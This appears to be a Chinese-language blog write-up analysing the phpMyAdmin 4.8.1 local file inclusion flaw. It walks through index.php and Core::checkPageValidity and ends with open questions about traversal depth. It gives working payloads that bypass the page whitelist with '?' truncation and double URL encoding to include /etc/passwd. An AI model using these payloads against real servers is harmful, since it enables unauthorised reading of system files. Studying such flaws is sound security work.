环境搭建
- composer
- phpMyAdmin 4.8.1
- Xdebug
- vscode
xdebug和vscode的详细配置看另一篇文章
VScode+XDebug远程调试ThinkPHP RCE
使用命令搭建指定版本phpmyadmin:
composer create-project phpmyadmin/phpmyadmin:4.8.1
搭建完成后还需要安装依赖:
composer update --ignore-platform-reqs
漏洞分析
源码位置在index.php的第55~63行:
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
可以看到第7行有一个include $_REQUEST['target'];
,但是要成功进行文件包含需要满足上面的5个条件:
- ! empty($_REQUEST[‘target’])
- is_string($_REQUEST[‘target’])
- ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
- ! in_array($_REQUEST[‘target’], $target_blacklist)
- Core::checkPageValidity($_REQUEST[‘target’])
上面4个就不用说了,只看最后一个。
调用了Core类中的checkPageValidity函数,看一下代码是什么:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
获取whitelist:
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
判断whitelist
的内容是否为空,是的话把goto_whitelist
的内容赋值过去
goto_whitelist:
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
对传递的参数进行一次in_array
判断:
if (in_array($page, $whitelist)) {
return true;
}
如果访问的页面在whitelist
直接返回true,这里肯定是不能利用。
接着phpMyAdmin还考虑到了传递的带参数的情况
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
使用mb_substr
进行一次截断,截取?
之前的内容,并用in_array
进行判断是否在whitelist
中,而这就导致了漏洞的产生。
如果我们构造的payload中已经有一个?
,并且?
前面的字符串在whitelist
中,那么?
后面的内容程序就不管了,直接返回true,然后就开始包含文件。
payload:
index.php?target=db_sql.php?/../../../../../../../../../../etc/passwd
但是以上payload只能在linux环境下使用,因为windows的路径中不能包含?
,否则会报错。
继续往下看
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
发现进行了一次url解码,然后和前面一样,截断判断。而当我们把链接发送到服务器时也会进行一次url解码,所以将前面的payload中的?
url编码两次即可成功绕过。
index.php?target=db_sql.php%253f/../../../../../../../../../../etc/passwd
尚存在的问题
漏洞页面为index.php,而上一级目录中存在index.html,如果要包含index.html,理论上应该是
index.php?target=db_sql.php?../index.html
,但是实际测试发现会报错,而当访问index.php?target=db_sql.php?../../../index.html
时得到了正确的返回结果,为什么是三个上级目录?可能1:把dq_sql.php当成目录了
为什么include可以正常包含
db_sql.php?../../../index.html
这样的路径可能1:把dq_sql.php当成目录了